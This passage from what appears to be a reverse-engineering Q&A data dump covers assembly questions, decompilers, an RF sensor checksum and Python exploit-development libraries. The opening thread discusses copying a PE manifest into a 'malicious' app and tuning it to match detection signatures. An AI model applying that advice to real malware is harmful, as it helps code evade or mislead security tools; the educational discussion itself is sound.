publicKeyToken=&quot;6595b64144ccf1df&quot; language=&quot;*&quot; /&amp;gt;&#xA;        &amp;lt;/dependentAssembly&amp;gt;&#xA;    &amp;lt;/dependency&amp;gt;&#xA;    &amp;lt;trustInfo xmlns=&quot;urn:schemas-microsoft-com:asm.v3&quot;&amp;gt;&#xA;        &amp;lt;security&amp;gt;&#xA;            &amp;lt;requestedPrivileges&amp;gt;&#xA;                &amp;lt;requestedExecutionLevel level=&quot;requireAdministrator&quot; uiAccess=&quot;false&quot;/&amp;gt;&#xA;            &amp;lt;/requestedPrivileges&amp;gt;&#xA;        &amp;lt;/security&amp;gt;&#xA;    &amp;lt;/trustInfo&amp;gt;&#xA;    &amp;lt;compatibility xmlns=&quot;urn:schemas-microsoft-com:compatibility.v1&quot;&amp;gt;&#xA;        &amp;lt;application&amp;gt;&#xA;            &amp;lt;supportedOS Id=&quot;{35138b9a-5d96-4fbd-8e2d-a2440225f93a}&quot;/&amp;gt;&#xA;            &amp;lt;supportedOS Id=&quot;{e2011457-1546-43c5-a5fe-008deee3d3f0}&quot;/&amp;gt;&#xA;        &amp;lt;/application&amp;gt;&#xA;    &amp;lt;/compatibility&amp;gt;&#xA;&amp;lt;/assembly&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These seems to be what I want to insert in my &quot;malicious&quot; app. So, how can I add that into my app? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My app it's just a &quot;Hello world&quot; written in Visual C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that I have to write this at the same offset that in the original, but I just don't know how.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastEditorUserId="2354" LastEditDate="2014-06-23T11:21:58.233" LastActivityDate="2014-06-23T11:21:58.233" Title="How to change PE signature?" Tags="|malware|binary-analysis|pe|" AnswerCount="1" CommentCount="4" ClosedDate="2014-06-20T16:41:30.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="4634" PostTypeId="2" ParentId="4633" CreationDate="2014-06-18T16:32:26.313" Score="4" Body="&lt;p&gt;For this you'd first need to realize how programs are recognized to be specific types of software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be specific imports, strings or binary strings within the code. When you realize how tools make these signatures try to be cunning and put the signature in your 'malicious' application. Check it with your 'signature' tooling and tweak if required.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="245" LastEditDate="2014-06-18T20:39:18.687" LastActivityDate="2014-06-18T20:39:18.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4635" PostTypeId="1" AcceptedAnswerId="4636" CreationDate="2014-06-18T19:06:56.220" Score="7" ViewCount="21840" Body="&lt;p&gt;I have heard of disassemblers like IDA and debuggers like OllyDbg but honestly, when you give both of them a binary file it gives me the assembly code. I know that the decompiler gives the source code if you provide it a binary. However, I don't know how they differ in terms of mode of operationand I ask myself questions like &quot;Why can a android/python code be decompiled but a C code be only disassembled?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give a precise difference between these 3 kinds of tools?&lt;/p&gt;&#xA;" OwnerUserId="5865" LastActivityDate="2019-11-24T07:11:45.287" Title="What's the difference between a disassembler, debugger and decompiler?" Tags="|disassembly|decompilation|binary-analysis|debuggers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4636" PostTypeId="2" ParentId="4635" CreationDate="2014-06-18T19:17:06.177" Score="15" Body="&lt;p&gt;These terms are currently defined on this site as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/tagged/disassemblers&quot;&gt;&lt;strong&gt;Disassembler&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A disassembler is a software tool which transforms machine code into a&#xA;  human readable mnemonic representation called assembly language.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/tagged/debuggers&quot;&gt;&lt;strong&gt;Debugger&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Debuggers allow the user to view and change the running state of a program.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/tagged/decompiler&quot;&gt;&lt;strong&gt;Decompiler&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Software used to revert the process of compilation. Decompiler takes a&#xA;  binary program file as input and output the same program expressed in&#xA;  a structured higher-level language.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-12-12T18:05:04.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4639" PostTypeId="2" ParentId="4596" CreationDate="2014-06-19T14:44:59.723" Score="1" Body="&lt;p&gt;I've used javasnoop on jobs before. Use AspectJ, there's a learning curve for that too but it's absolutely the correct solution for you.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastEditorUserId="-1" LastEditDate="2020-08-14T08:44:59.330" LastActivityDate="2020-08-14T08:44:59.330" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="4641" PostTypeId="1" AcceptedAnswerId="4647" CreationDate="2014-06-19T20:23:29.313" Score="2" ViewCount="3209" Body="&lt;p&gt;Here's code that performs some arithmetics.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(void) {&#xA;    int i = 3;&#xA;    i++;&#xA;    i+= 2;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compiled it using 32-bit &lt;a href=&quot;http://bellard.org/tcc/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;tcc&lt;/code&gt;&lt;/a&gt; with the following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcc -o hello.exe hello.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I, then, disassembled it using &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA free edition&lt;/a&gt;, and after some time staring at the &lt;code&gt;start&lt;/code&gt; of the instructions I realized that the main function that I was looking for is in a subroutine, and going there I see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_401000 proc near&#xA;&#xA;var_4= dword ptr -4&#xA;&#xA;push    ebp               &#xA;mov     ebp, esp           &#xA;sub     esp, 4            // allocate 4 bytes on the stack for var i&#xA;nop&#xA;&#xA;mov     eax, 3            // i = 3 instructions&#xA;mov     [ebp+var_4], eax  // &#xA;&#xA;mov     eax, [ebp+var_4]  // i++ instructions&#xA;mov     ecx, eax          // &#xA;inc     eax               // &#xA;mov     [ebp+var_4], eax  //&#xA;&#xA;mov     eax, [ebp+var_4]  // i+=2 instructions&#xA;add     eax, 2            //   &#xA;mov     [ebp+var_4], eax  //  &#xA;&#xA;mov     eax, 0           &#xA;jmp     $+5              &#xA;leave&#xA;retn&#xA;sub_401000 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added my understanding of what's going on in comments on the right for the body of the method that I am interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, incrementing the variable would involve moving a value onto a register and then operating on it. I would expect &lt;code&gt;i++&lt;/code&gt; to look something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, [ebp+var_4]&#xA;inc     eax             &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the actual instructions involved an extra move&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, [ebp+var_4]  &#xA;mov     ecx, eax         // &amp;lt;----- ?&#xA;inc     eax               &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the add instruction, the extra move isn't there. When I modified the code with a decrement operation, I see that extra move as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some purpose for this move from &lt;code&gt;eax&lt;/code&gt; to &lt;code&gt;ecx&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still reading about registers, and from what I've read &lt;code&gt;ecx&lt;/code&gt; is used as a counter, but from this code it isn't obvious what it's being used for, if anything.&lt;/p&gt;&#xA;" OwnerUserId="4465" LastEditorUserId="4465" LastEditDate="2014-06-19T20:49:52.103" LastActivityDate="2014-06-20T18:39:28.427" Title="Why is the ecx register used during an inc instruction" Tags="|assembly|x86|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4642" PostTypeId="1" AcceptedAnswerId="4643" CreationDate="2014-06-19T21:16:22.823" Score="5" ViewCount="27002" Body="&lt;p&gt;Just started out with x86 assembly and slowly getting the hang of it. IDA produces nice graphs that make it much easier to follow all the jumps and function calls and stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at examples of arithmetics, control flow, loops, and function calls, and feel that I could reasonably take a chunk of instructions and reproduce the same logic in Java or C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there tools that will automatically take assembly and convert it to, say, C? I imagine for some people that at some point it becomes more of a chore than an exercise after doing it for years.&lt;/p&gt;&#xA;" OwnerUserId="4465" LastActivityDate="2017-03-08T17:26:01.003" Title="Automatically convert x86 assembly to C" Tags="|disassembly|x86|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4643" PostTypeId="2" ParentId="4642" CreationDate="2014-06-19T21:40:05.387" Score="12" Body="&lt;p&gt;Yes, that type of tool is called a &lt;a href=&quot;/questions/tagged/decompiler&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;decompiler&amp;#39;&quot; rel=&quot;tag&quot;&gt;decompiler&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several examples below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot; rel=&quot;noreferrer&quot;&gt;Hex-Rays Decompiler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hopperapp.com/&quot; rel=&quot;noreferrer&quot;&gt;Hopper&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.backerstreet.com/rec/rec.htm&quot; rel=&quot;noreferrer&quot;&gt;REC Studio&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://derevenets.com/&quot; rel=&quot;noreferrer&quot;&gt;SmartDec&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://retdec.com/&quot; rel=&quot;noreferrer&quot;&gt;Retargetable Decompiler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="13606" LastEditDate="2017-03-08T17:26:01.003" LastActivityDate="2017-03-08T17:26:01.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4644" PostTypeId="1" CreationDate="2014-06-19T21:57:16.407" Score="5" ViewCount="316" Body="&lt;p&gt;Need help in figuring out the checksum used for this small data packet.&#xA;Packet is 48 bits long, I already have figured out most of the bits. Least 8 bits change even if there is a single bit change in rest of the packet. So I'm guessing this must be some sort of checksum. Tried all checksum algorithms I know of and nothing fits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The packet is question is RF transmission being send by a motion sensor (history below). The bits are,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4 4 4 4 4 4 4 4 3 3 3 3 3 3 3 3 3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 &#xA;7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0&#xA;-----------------------------------------------------------------------------------------------&#xA;p p p p p s s s 0 0 m t 1 i i i i i i i i 1 i i i i i i i i 1 i i i i i i i i 1 c c c c c c c c&#xA;&#xA;&#xA;p = Preamble (11111), helps is demodulating the signal by providing enough transitions.&#xA;s = Some sort of status (only changed when sensor was initializing after power up)&#xA;m = '1' When motion is detected.&#xA;t = '1' when tamper switch is pressed.&#xA;i = Unique sensor ID which is also printed on the back of the sensor.&#xA;c = These bits change whenever any of the other bit change. I'm guessing this is checksum.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fixed 0's and 1's may very well be some other status reporting, which&#xA;just don't change in case of motion sensor.&lt;/li&gt;&#xA;&lt;li&gt;ID (i) is embedded in the packet at non-byte offsets. It seems like&#xA;ID is embedded as '1' followed by 8-bits, maybe the protocol&#xA;was originally designed for octadecimal.&lt;/li&gt;&#xA;&lt;li&gt;This transmission does not seem to be using any rolling code. Its&#xA;always the same.&lt;/li&gt;&#xA;&lt;li&gt;This is over 10 years old system, I don't expect it to using anything&#xA;complicated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Example packets that I have captured for three different sensors are,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FA 19 D4 3E 3B A7 (11111010 00011001 11010100 00111110 00111011 10100111)&#xA;F9 29 D4 3E 3B EE (11111001 00101001 11010100 00111110 00111011 11101110)&#xA;F9 39 D4 3E 3B 44 (11111001 00111001 11010100 00111110 00111011 01000100)&#xA;&#xA;FC 29 D4 C7 11 D4 (11111100 00101001 11010100 11000111 00010001 11010100)&#xA;F9 39 D4 C7 11 19 (11111001 00111001 11010100 11000111 00010001 00011001)&#xA;F9 29 D4 C7 11 B3 (11111001 00101001 11010100 11000111 00010001 10110011)&#xA;FA 19 D4 C7 11 FA (11111010 00011001 11010100 11000111 00010001 11111010)&#xA;&#xA;F9 29 AE 8E DF 57 (11111001 00101001 10101110 10001110 11011111 01010111)&#xA;F9 39 AE 8E DF FD (11111001 00111001 10101110 10001110 11011111 11111101)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is no hacking or anything like that. This all started as simple exercise to use SDR and GnuRadio to demodulate some RF transmission. Once properly demodulated, it was challenging to figure out the packet format, but this checksum issue is now driving me nuts.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5883" LastEditorUserId="5883" LastEditDate="2014-06-19T22:48:36.280" LastActivityDate="2014-06-20T06:09:14.223" Title="Need help in figuring out checksum used in this small wireless packet" Tags="|unpacking|deobfuscation|gnu-radio|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4645" PostTypeId="2" ParentId="4644" CreationDate="2014-06-20T01:39:07.083" Score="2" Body="&lt;p&gt;Many checksums, especially with small packets of data, are very simple to keep load down on the teeny-tiny brains of embedded devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider that the checksum must be fast and simple to verify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the checksum is designed so that the final result is 0 (zero), as that's super simple to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some things to try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;add all the BYTES (8 bit chunks), example result &amp;amp; 0xFF (lower 8 bits), is it zero?  or perhaps always a constant?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;subtract the bytes.  Start with zero, subtract each chunk.  Do you get zero again?  or a constant value for each packet?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;xor the bytes, same as above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Often, the microcontrollers might have a 4 bit bus... repeat the previous checks while using 4 bits at a time.  Very slight chance it might have 16 bit bus, but for smaller devices, unlikely.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another thing to keep in mind is that you may have the &lt;code&gt;polarity&lt;/code&gt; reversed on the signal you demodulated.  Perhaps the &lt;code&gt;1&lt;/code&gt;'s are &lt;code&gt;0&lt;/code&gt;'s and vice-versa? Many devices are active-logic-low, meaning they show zeros on their bus when signalling/indicating something rather than ones. (although I believe the checksum final result could be all 1's for this scenario)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    Add Sub Xor 4A 4S 4X&#xA;FA 19 D4 3E 3B A7 : 07  F9  95  4  C  C    ; hmmm, dunno yet &#xA;F9 29 D4 3E 3B EE : 5D  A3  EF  F  1  1    ; drat, nothing jumps out yet&#xA;F9 39 D4 3E 3B 44 : C3  3D  55  C  4  0    ; awww, maaaaaaannn!&#xA;&#xA;FC 29 D4 C7 11 D4 :                        ; these entries left as an&#xA;F9 39 D4 C7 11 19 :                        ; exercise for the reader...&#xA;F9 29 D4 C7 11 B3 :&#xA;FA 19 D4 C7 11 FA :                        ; also, I'm being lazy tonight&#xA;                                           ; and these are painful to compute&#xA;F9 29 AE 8E DF 57 :                        ; by hand.&#xA;F9 39 AE 8E DF FD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you need are many packets from a single sensor under steady-state conditions.  Do you get the same packet data every time?  or perhaps there's a counter or &lt;em&gt;I'm Alive&lt;/em&gt; kind of value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, then do this for every sensor, looks for trends.  But I'd be curious as to what (if any) changes during steady-state.&lt;/p&gt;&#xA;" OwnerUserId="2973" LastActivityDate="2014-06-20T01:39:07.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4646" PostTypeId="2" ParentId="4644" CreationDate="2014-06-20T06:09:14.223" Score="6" Body="&lt;p&gt;(I don't have quite enough reputation for a comment so please excuse a very partial answer.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to consider whether some of the bits are not part of the packet data but part of an encoding for transmission.&#xA;e.g. the 1's at regularly spaced bit positions 8, 17, 26, 35 could well be there to prevent a run of 0's getting too long.  (Knowing the modulation scheme could help.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, it might be that your message data is actually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1sss00mt iiiiiiii iiiiiiii iiiiiiii cccccccc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It could then be transmitted as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'1111' byte[0] '1' byte[1] '1' byte[2] '1' byte[3] '1' byte[4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any checksum might then be based on the message data alone.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2014-06-20T06:09:14.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4647" PostTypeId="2" ParentId="4641" CreationDate="2014-06-20T08:38:10.273" Score="3" Body="&lt;p&gt;TCC was written to be fast and simple without most optimizations. It compiles the program in only one pass and use a very limited number of registers (eax, ecx and edx, I think). So don't suppose for it to be efficient and don't surprise when it does something &quot;stupidly&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On x86, three temporary registers are used. When more registers are needed, one register is spilled into a new temporary variable on the stack.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bellard.org/tcc/tcc-doc.html#SEC31&quot; rel=&quot;nofollow&quot;&gt;http://bellard.org/tcc/tcc-doc.html#SEC31&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TCC generates code in a single pass, and does not perform most of the optimizations performed by other compilers such as GCC. TCC compiles every statement on its own, and at the end of each statement register values are written back to the stack and must be re-read even if the next line uses the values in registers (creating extraneous save/load pairs between statements). TCC uses only some of the available registers (e.g., on x86 it never uses ebx, esi, or edi because they need to be preserved across function calls).[4]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tiny_C_Compiler#Compiled_program_performance&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Tiny_C_Compiler#Compiled_program_performance&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2563" LastActivityDate="2014-06-20T08:38:10.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4649" PostTypeId="1" AcceptedAnswerId="4654" CreationDate="2014-06-20T14:44:03.667" Score="3" ViewCount="5935" Body="&lt;p&gt;I have the following line in an assembler code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; XOR EAX, EBX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, then I've searched a little bit and found out that XOR represents a &quot;swap algorithm&quot;. You can read it here: &lt;a href=&quot;http://en.wikipedia.org/wiki/XOR_swap_algorithm&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/XOR_swap_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I look in register window of ollydbg, then I have the following &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; EAX = 00000068&#xA; EBX = 0000003B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, after the line the register window says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EAX = 000000053&#xA;EBX = 0000003B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But from that what I have read in wikipedia article I would expect the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EAX = 0000003B&#xA;EBX = 00000053&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the end, i can say that a normal XOR operation is performed because:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0111011   =&amp;gt;EAX=0000003B &#xA;1101000   =&amp;gt;EBX=00000068&#xA;-------&#xA;1010011   =&amp;gt;EAX=00000053&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question would be why the swap algorithm is not performed. Or in other words: When can I expect the swap algorithm?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-06-20T16:33:20.137" Title="Has XOR EAX, EBX another purpose?" Tags="|assembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4650" PostTypeId="2" ParentId="4649" CreationDate="2014-06-20T14:48:33.283" Score="11" Body="&lt;p&gt;The &lt;code&gt;XOR&lt;/code&gt; mnemonic does not represent an XOR swap; it represents a &lt;a href=&quot;http://en.wikipedia.org/wiki/Bitwise_XOR&quot;&gt;bitwise XOR&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-06-20T14:48:33.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4651" PostTypeId="1" CreationDate="2014-06-20T15:31:16.253" Score="1" ViewCount="7641" Body="&lt;p&gt;Are there any libraries to help developing exploits in python, like representing hex string or assembling/disassembling x86 instructions?&lt;/p&gt;&#xA;" OwnerUserId="4260" LastEditorUserId="1547" LastEditDate="2014-06-23T13:12:51.177" LastActivityDate="2016-06-25T19:24:24.877" Title="Exploit Development with python" Tags="|exploit|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4652" PostTypeId="2" ParentId="4651" CreationDate="2014-06-20T15:43:07.220" Score="4" Body="&lt;p&gt;if you want to develop exploits in Python, this book may help: &#xA;&lt;a href=&quot;http://my.safaribooksonline.com/book/-/9781597497299/chapter-9-exploitation-scripting/building_exploits_with_python&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://my.safaribooksonline.com/book/-/9781597497299/chapter-9-exploitation-scripting/building_exploits_with_python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to generate big chunks of asm PeachPy might help: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PeachPy &lt;a href=&quot;https://github.com/Maratyszcza/PeachPy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Maratyszcza/PeachPy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also compile python to C, and use a C compiler to get things down to assembly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/10660266/python-program-into-a-standard-assembly&quot;&gt;https://stackoverflow.com/questions/10660266/python-program-into-a-standard-assembly&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could write most of your program in Python, and use a variety of methods to get inline assembly in: &#xA;&lt;a href=&quot;https://stackoverflow.com/questions/6040932/executing-assembler-code-with-python&quot;&gt;https://stackoverflow.com/questions/6040932/executing-assembler-code-with-python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means less asm for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest, you will be better of rolling with the punches and properly learning ASM. It is hard, but well worth the trouble. Try starting with NASM, or writing inline assembly with your visual studio programs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: This question is a little too broad for this site. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-07-10T14:34:04.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4653" PostTypeId="2" ParentId="4651" CreationDate="2014-06-20T16:27:28.240" Score="2" Body="&lt;p&gt;There is a bunch of python libraries that can aid you in exercising exploitation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/longld/peda&quot; rel=&quot;nofollow&quot;&gt;Peda&lt;/a&gt; - Python Exploit Development Assistance for GDB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Peda has this nice option for generating exploit skeletons. Everything is already set up for you for making a basic exploit, either local or remote. And it serves as a rather nice gdb extension.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Blasty's &lt;a href=&quot;https://github.com/blasty/moneyshot&quot; rel=&quot;nofollow&quot;&gt;moneyshot&lt;/a&gt; is also a set of rather useful utilities. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A collection of python scripts to aid you in the final steps of binary exploitation or during the construction of buffers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hellman's &lt;a href=&quot;https://github.com/hellman/libformatstr&quot; rel=&quot;nofollow&quot;&gt;libformatstr&lt;/a&gt; is a nice format string automation exploitation library and it already comes embedded in previous two.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, if all you really need is packing/manipulating binary data, python's &lt;a href=&quot;https://docs.python.org/2/library/struct.html&quot; rel=&quot;nofollow&quot;&gt;struct&lt;/a&gt; library is a must. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also &lt;a href=&quot;http://pythonarsenal.erpscan.com/&quot; rel=&quot;nofollow&quot;&gt;Pyhton Arsenal For RE&lt;/a&gt; list of libraries covering many more useful libraries. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-06-20T16:27:28.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4654" PostTypeId="2" ParentId="4649" CreationDate="2014-06-20T16:33:20.137" Score="13" Body="&lt;p&gt;As the first answer states, XOR is a bitewise XOR, not an XOR swap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do the Xor swap that you referenced from wikipedia it takes &lt;em&gt;3 instructions&lt;/em&gt; : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, ebx&#xA;xor ebx, eax&#xA;xor eax, ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you asked about the &lt;em&gt;purpose&lt;/em&gt; of XOR I thought I would include some other concepts for you to read up on, so you might have an idea of what to expect from XORs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use XOR to clear a register: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax,eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calculate absolute value: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdq&#xA;xor eax,edx&#xA;sub eax,edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;XORs can be used for Crypto:&#xA;&lt;a 